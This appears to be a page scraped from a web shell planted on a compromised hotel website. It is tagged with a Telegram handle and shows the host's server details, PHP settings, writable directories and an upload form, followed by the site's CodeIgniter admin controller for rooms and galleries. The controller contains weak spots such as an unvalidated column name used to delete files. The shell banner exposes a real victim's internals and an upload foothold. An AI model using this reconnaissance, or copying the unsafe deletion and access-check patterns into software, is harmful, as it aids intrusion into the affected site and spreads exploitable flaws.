https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/blue-sky.co.id/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/blue-sky.co.id/public_html/application/controllers/admin/Rooms.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Rooms extends Admin_Controller {

	//this property is used for validating existing room title on call back edit room
	private $room_current_id = NULL;

	//this property is to mark whether we are uploading image in the index room
    private $imageupload_indexroom = FALSE;
		
	function __construct() { 

		parent::__construct();	

		//admin role module check
		$this->check_admin_role('halaman statis'); //method from Admin_controller
		
		$this->load->model('room_m'); 
	}
		
	//this is to list all rooms
    public function index() {

        $this->data['rooms'] = $this->db->select('id, room_name, introduction, priority')->from('hotel_rooms')->where('hotel_id', $this->session->userdata('hotel_id'))->order_by('priority', 'ASC')->get()->result();
	
		// Get room landing data for current hotel
		$this->data['room_landing'] = $this->db->select('*')->from('room_landing')->where('hotel_id', $this->session->userdata('hotel_id'))->get()->row();
	
		//load view
		$this->data['subview'] = 'admin/rooms/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');    
    }
	
	//to add a new room 
	public function add() {
	
		$this->data['room'] = $this->room_m->get_new();

		//get ordering number and display at add form
		$this->db->select_max('priority')->from('hotel_rooms');
		$current_priority = $this->db->get()->row()->priority;
		if($current_priority == NULL) {
			$this->data['room']->priority = 1;	
		} else {
			$this->data['room']->priority = $current_priority + 1;
		} 
		
		//validation in action
		//validation check in action
		$config = $this->room_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) { 

			if($_POST) {
				$data = $this->table_data_processing(); 
				$this->room_m->add_room($data); 
			}

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Tambah Halaman Berhasil</p>');

			redirect('admin/rooms');
		} 
		
		$this->data['subview'] = 'admin/rooms/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
    }
    
    public function rooms_gallery($id = NULL) {
		//check if id exist. If not exist, show 404.
		$count = $this->room_m->count_exist($id);
		
		if ($count == 0 && $id != '24') {
			//room not exist
			show_404();
		}
		$this->data['room'] = $this->room_m->get($id);

		$this->db->select('*');
		$this->db->from('hotel_rooms_gallery');
		$this->db->where('room_id', $id);
		$this->db->order_by('priority', 'ASC');
		$this->data['rooms_gallery'] = $this->db->get()->result();	

		//load view
		$this->data['subview'] = 'admin/rooms/rooms_gallery';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
    }
    
    public function add_gallery_image($rooms_id = NULL) {

		$quer_rooms_gallery = $this->db->get_where("hotel_rooms_gallery",array( 
			"room_id"=>$rooms_id,
		));
		// if ($quer_rooms_gallery->num_rows() ==0) { 
		// 	show_404();
		// }

		$quer_rooms_gallery = new stdClass();
		$quer_rooms_gallery->image = ''; 
		$quer_rooms_gallery->status = 'yes';
		$quer_rooms_gallery->priority = ''; 

		$this->data['rooms_gallery'] = $quer_rooms_gallery;
		$this->data['id_rooms'] = $rooms_id;  

		$config = array( 
				array(
				 'field'   => 'status',
				 'label'   => 'Status',
				 'rules'   => 'trim|required'
				),    
            );

		$this->load->library('form_validation');
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {

			if($_POST) {

				if ($_FILES['image1']['size'] !== 0) {

					$config['upload_path'] = './uploads/hotel_rooms/'; 
					$config['allowed_types'] = 'jpg|png'; 
					$config['max_size']	= '500';
					$config['max_width']  = '1200';
					$config['max_height'] = '684';
					
					$this->load->library('upload', $config);
              		$this->upload->initialize($config);

					if ( ! $this->upload->do_upload('image1')) { 

						$this->session->set_flashdata('image_error', $this->upload->display_errors());
						redirect('admin/rooms/add_gallery_image/'.$rooms_id);
					} else {
						$image1 = $this->upload->data();
						$image1_filename = $image1['file_name']; 

						$this->load->library('image_lib'); 
						
						//image resizing (SMALL IMAGE)
						// $config2['image_library'] = 'gd2';
						// $config2['source_image'] = './uploads/hotel_rooms/' . $image1_filename;
						// $config2['new_image'] = './uploads/hotel_rooms/small/';
						// $config2['create_thumb'] = FALSE;
						// $config2['maintain_ratio'] = TRUE;
						// $config2['width'] = '300';
						// $config2['height'] = '171';
						// $this->image_lib->initialize($config2);  //firstly autoload image_lib, then initialize it. Dont repeatly load it.
						// $this->image_lib->resize();	
					}	
				}  

				$data = array(
					"priority"=>$this->security->xss_clean($this->input->post('priority')),
					"is_active"=>$this->security->xss_clean($this->input->post('status')),
					"room_id"=> $rooms_id
				);

				//image upload
				if (isset($image1_filename)) {
					$data['image'] = $image1_filename;
				}else{
					$data['image'] = $this->data['hotel_rooms_gallery']->image;
				} 
				$this->db->insert('hotel_rooms_gallery', $data); 
			} 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Edit Gallery Berhasil</p>');
			
			redirect('admin/rooms/rooms_gallery/'. $rooms_id);
		} 

		$this->data['subview'] = 'admin/rooms/edit_gallery_image';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	public function edit_gallery_image($rooms_id = NULL,$id = NULL){
		$quer_rooms_gallery = $this->db->get_where("hotel_rooms_gallery",array(
			"id"=>$id,
			"room_id"=>$rooms_id,
		));
		
		if ($quer_rooms_gallery->num_rows() == 0 && $rooms_id != '24') { 
			show_404();
		}
		$quer_rooms_gallery = $quer_rooms_gallery->row();
		$this->data['rooms_gallery'] = $quer_rooms_gallery;
		$this->data['id_rooms'] = $rooms_id; 
		$this->data['id_gallery'] = $id;

		$config = array( 
				array(
				 'field'   => 'priority',
				 'label'   => 'Urutan Tampilan',
				 'rules'   => 'trim|required'
				),
				array(
				 'field'   => 'status',
				 'label'   => 'Status',
				 'rules'   => 'trim|required'
				),    
            );

		$this->load->library('form_validation');
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {
			 
			if($_POST) {

				if ($_FILES['image1']['size'] !== 0) {  	
 
					$config['upload_path'] = './uploads/hotel_rooms/'; 
					$config['allowed_types'] = 'jpg|png'; 
					$config['max_size']	= '500';
					$config['max_width']  = '1200';
					$config['max_height'] = '684';
					$this->load->library('upload', $config);
              		$this->upload->initialize($config);

					if ( ! $this->upload->do_upload('image1')) { 
						$this->session->set_flashdata('image_error', '<br>
							<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
						redirect('admin/rooms/edit_gallery_image/'.$rooms_id.'/'.$id);
					} else {
						$image1 = $this->upload->data();
						$image1_filename = $image1['file_name']; 
						$this->load->library('image_lib'); 
						
						//image resizing (SMALL IMAGE)
						// $config2['image_library'] = 'gd2';
						// $config2['source_image'] = './uploads/hotel_rooms/' . $image1_filename;
						// $config2['new_image'] = './uploads/hotel_rooms/small/';
						// $config2['create_thumb'] = FALSE;
						// $config2['maintain_ratio'] = TRUE;
						// $config2['width'] = '300';
						// $config2['height'] = '171';
						// $this->image_lib->initialize($config2);  //firstly autoload image_lib, then initialize it. Dont repeatly load it.
						// $this->image_lib->resize();	
					}	
				}  

				$data = array(
					"priority"=>$this->security->xss_clean($this->input->post('priority')),
					"is_active"=>$this->security->xss_clean($this->input->post('status')),
				);

				//image upload
				if (isset($image1_filename)) {
					$data['image'] = $image1_filename;
				}else{
					$data['image'] = $this->data['rooms_gallery']->image;
				} 

				$this->db->where("room_id",$rooms_id)
				->where('id', $id)->update('hotel_rooms_gallery', $data); 
			} 

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Edit Gallery Berhasil</p>');
			
			redirect('admin/rooms/edit_gallery_image/'. $rooms_id . '/' . $id);
		} 

		$this->data['subview'] = 'admin/rooms/edit_gallery_image';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	public function delete_all_gallery(){

		$checkbox_for_del = $this->input->post('checkbox_del');
		$id_rooms = $this->input->post('id_rooms');

		if (empty($checkbox_for_del)) {
			redirect('admin/rooms/rooms_gallery/' . $id_rooms); 
		}

		for ($i=0; $i<count($checkbox_for_del) ; $i++) { 
			
			$id = $checkbox_for_del[$i];
			$this->db->where('id', $id);
			$this->db->delete('hotel_rooms_gallery');
		}

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Foto Gallery berhasil dihapus</p>');
		echo json_encode(array(
			'result'=>'sukses',
		));
	}

	function changeStatusActImages(){

    	$this_id = $this->input->post('this_id');
    	$toStat = $this->input->post('toStat');

    	$codeStat = null;
    	if ($toStat == "Ya") {
    		$codeStat = 'yes';
    	}else{
    		$codeStat = 'no'; 
    	}

    	$data = array(
    		"is_active" => $codeStat,
    	);

    	$upd = $this->db->update('hotel_rooms_gallery', $data, array('id' => $this_id));

    	if ($upd) {
	    	echo json_encode(array(
	    		"res"=>"sukses",
	    	));
    	}

    }

	function refreshDisplayPriority_Gallery(){

    	$this_data = $this->input->post('this_data');

    	foreach ($this_data as $key) {
    		$u_data = array(
    			'priority'=>$key['val'],
    		);
    		$this->db->update('hotel_rooms_gallery', $u_data, array('id' => $key['id']));
    	}

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Gallery Priority berhasil diubah</p>');

    	echo json_encode(array(
	    	"res"=>"sukses",
    		// "data"=>$this_data,
    	));
    }

    public function delete_gallery_image($id_rooms = NULL, $id = NULL){

    	if (empty($id_rooms) || empty($id)) {
			redirect('admin/rooms/rooms_gallery/' .$id_rooms.'/'. $id); 
		}

		$this->db->where('id', $id);
		$this->db->delete('hotel_rooms_gallery'); 

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Foto Gallery berhasil dihapus</p>');
		redirect('admin/rooms/rooms_gallery/' .$id_rooms.'/'. $id); 
    }
	
	//to edit room in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$count = $this->room_m->count_exist($id);
		
		if ($count == 0) {
			//room not exist
			show_404();
		}		

		$this->data['room'] = $this->room_m->get($id);
		$this->room_current_id = (int) $id;	
		
		//validation check in action 
		$config = $this->room_m->rules;

		$this->load->library('form_validation');
		$this->form_validation->set_rules($config); 
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run($this) == TRUE) {
			
			$data = $this->table_data_processing();
			$this->room_m->edit_room($id, $data);

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Edit Room Berhasil</p>');
			
			redirect('admin/rooms/edit/' . $id);
		} 
		
		$this->data['subview'] = 'admin/rooms/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');	
	}
	
	
	//to delete a room
	public function delete($id) {

		//check if id exist. If not exist, show 404.
		$count = $this->room_m->count_exist($id);
		
		if ($count == 0) {  
			//room not exist  
			show_404();
		}		
		
		//delete room
		$this->room_m->delete($id);

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Hapus Room Berhasil</p>');
		redirect('admin/rooms');
	}


	//callback function validation add new rooms
	public function _cek_existing_room_name($str) {

		$num_rows = $this->room_m->cek_existing_room_name($str, $this->room_current_id);   
		if ($num_rows != 0 ) { 
			$this->form_validation->set_message('_cek_existing_room_name', 'nama room sudah ada !'); 
			return FALSE;
		} else {
			return TRUE;     
		}
	}

	private function table_data_processing() {

		$data = array(
            'room_name' => $this->security->xss_clean($this->input->post('room_name')),
            'introduction' => $this->security->xss_clean($this->input->post('introduction')),
            'priority' => $this->security->xss_clean($this->input->post('priority')),
            'hotel_id' => $this->session->userdata('hotel_id'),
            
            // New fields from hotel_rooms_additional_columns.sql
            'intro_title' => $this->security->xss_clean($this->input->post('intro_title')),
            'intro_subtitle' => $this->security->xss_clean($this->input->post('intro_subtitle')),
            'highlight_intro' => $this->security->xss_clean($this->input->post('highlight_intro')),
            'overview1_title' => $this->security->xss_clean($this->input->post('overview1_title')),
            'overview1_content' => $this->security->xss_clean($this->input->post('overview1_content')),
            'overview2_title' => $this->security->xss_clean($this->input->post('overview2_title')),
            'overview2_content' => $this->security->xss_clean($this->input->post('overview2_content')),
            'overview3_title' => $this->security->xss_clean($this->input->post('overview3_title')),
            'overview3_content' => $this->security->xss_clean($this->input->post('overview3_content')),
            'amenities1_title' => $this->security->xss_clean($this->input->post('amenities1_title')),
            'amenities1_content' => $this->security->xss_clean($this->input->post('amenities1_content')),
            'amenities2_title' => $this->security->xss_clean($this->input->post('amenities2_title')),
            'amenities2_content' => $this->security->xss_clean($this->input->post('amenities2_content')),
            'amenities3_title' => $this->security->xss_clean($this->input->post('amenities3_title')),
            'amenities3_content' => $this->security->xss_clean($this->input->post('amenities3_content')),
            'amenities4_title' => $this->security->xss_clean($this->input->post('amenities4_title')),
            'amenities4_content' => $this->security->xss_clean($this->input->post('amenities4_content')),
            'amenities5_title' => $this->security->xss_clean($this->input->post('amenities5_title')),
            'amenities5_content' => $this->security->xss_clean($this->input->post('amenities5_content')),
            'amenities6_title' => $this->security->xss_clean($this->input->post('amenities6_title')),
            'amenities6_content' => $this->security->xss_clean($this->input->post('amenities6_content'))
		);
		
		// Handle file uploads for image fields
		if (!empty($_FILES['room_image']['name'])) {
			$config['upload_path'] = './uploads/';
			$config['allowed_types'] = 'gif|jpg|png|jpeg';
			$config['max_size'] = 2048;
			$config['file_name'] = 'room_' . time() . '_' . $_FILES['room_image']['name'];
			
			$this->load->library('upload', $config);
			
			if ($this->upload->do_upload('room_image')) {
				$upload_data = $this->upload->data();
				$data['room_image'] = $upload_data['file_name'];
			}
		}
		
		if (!empty($_FILES['intro_image']['name'])) {
			$config['upload_path'] = './uploads/';
			$config['allowed_types'] = 'gif|jpg|png|jpeg';
			$config['max_size'] = 2048;
			$config['file_name'] = 'intro_' . time() . '_' . $_FILES['intro_image']['name'];
			
			$this->load->library('upload', $config);
			
			if ($this->upload->do_upload('intro_image')) {
				$upload_data = $this->upload->data();
				$data['intro_image'] = $upload_data['file_name'];
			}
		}
	
		return $data;
	}

	// Method to update room landing data
	public function update_landing($hotel_id = NULL) {
		
		if ($hotel_id == NULL || $hotel_id != $this->session->userdata('hotel_id')) {
			redirect('admin/rooms');
		}
		
		$data = array(
			'title' => $this->security->xss_clean($this->input->post('title')),
			'intro_title' => $this->security->xss_clean($this->input->post('intro_title')),
			'intro_subtitle' => $this->security->xss_clean($this->input->post('intro_subtitle')),
			'content_title' => $this->security->xss_clean($this->input->post('content_title')),
			'content_subtitle' => $this->security->xss_clean($this->input->post('content_subtitle')),
			'hotel_id' => $hotel_id
		);
		
		// Handle file uploads
		if (!empty($_FILES['landing_image']['name'])) {
			$config['upload_path'] = './uploads/';
			$config['allowed_types'] = 'gif|jpg|png|jpeg';
			$config['max_size'] = 2048;
			$config['file_name'] = 'landing_' . time() . '_' . $_FILES['landing_image']['name'];
			
			$this->load->library('upload', $config);
			
			if ($this->upload->do_upload('landing_image')) {
				$upload_data = $this->upload->data();
				$data['landing_image'] = $upload_data['file_name'];
			}
		}
		
		if (!empty($_FILES['intro_image']['name'])) {
			$config['upload_path'] = './uploads/';
			$config['allowed_types'] = 'gif|jpg|png|jpeg';
			$config['max_size'] = 2048;
			$config['file_name'] = 'intro_' . time() . '_' . $_FILES['intro_image']['name'];
			
			$this->load->library('upload', $config);
			
			if ($this->upload->do_upload('intro_image')) {
				$upload_data = $this->upload->data();
				$data['intro_image'] = $upload_data['file_name'];
			}
		}
		
		// Check if record exists for this hotel
		$existing = $this->db->select('id')->from('room_landing')->where('hotel_id', $hotel_id)->get()->row();
		
		if ($existing) {
			// Update existing record
			$this->db->where('hotel_id', $hotel_id);
			$this->db->update('room_landing', $data);
		} else {
			// Insert new record
			$this->db->insert('room_landing', $data);
		}
		
		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Room Landing Updated Successfully</p>');
		
		redirect('admin/rooms');
	}

	public function delete_image($image_type, $hotel_id)
	{
		// Get current image filename
		$current_data = $this->db->select($image_type)->from('room_landing')->where('hotel_id', $hotel_id)->get()->row();
		
		if ($current_data && !empty($current_data->$image_type)) {
			// Delete physical file
			$file_path = './uploads/' . $current_data->$image_type;
			if (file_exists($file_path)) {
				unlink($file_path);
			}
			
			// Update database to remove image reference
			$this->db->where('hotel_id', $hotel_id);
			$this->db->update('room_landing', array($image_type => ''));
			
			$this->session->set_flashdata('success', 'Image deleted successfully.');
		} else {
			$this->session->set_flashdata('error', 'Image not found.');
		}
		
		redirect('admin/rooms');
	}

	
		
}

https://t.me/RX1948 - 2025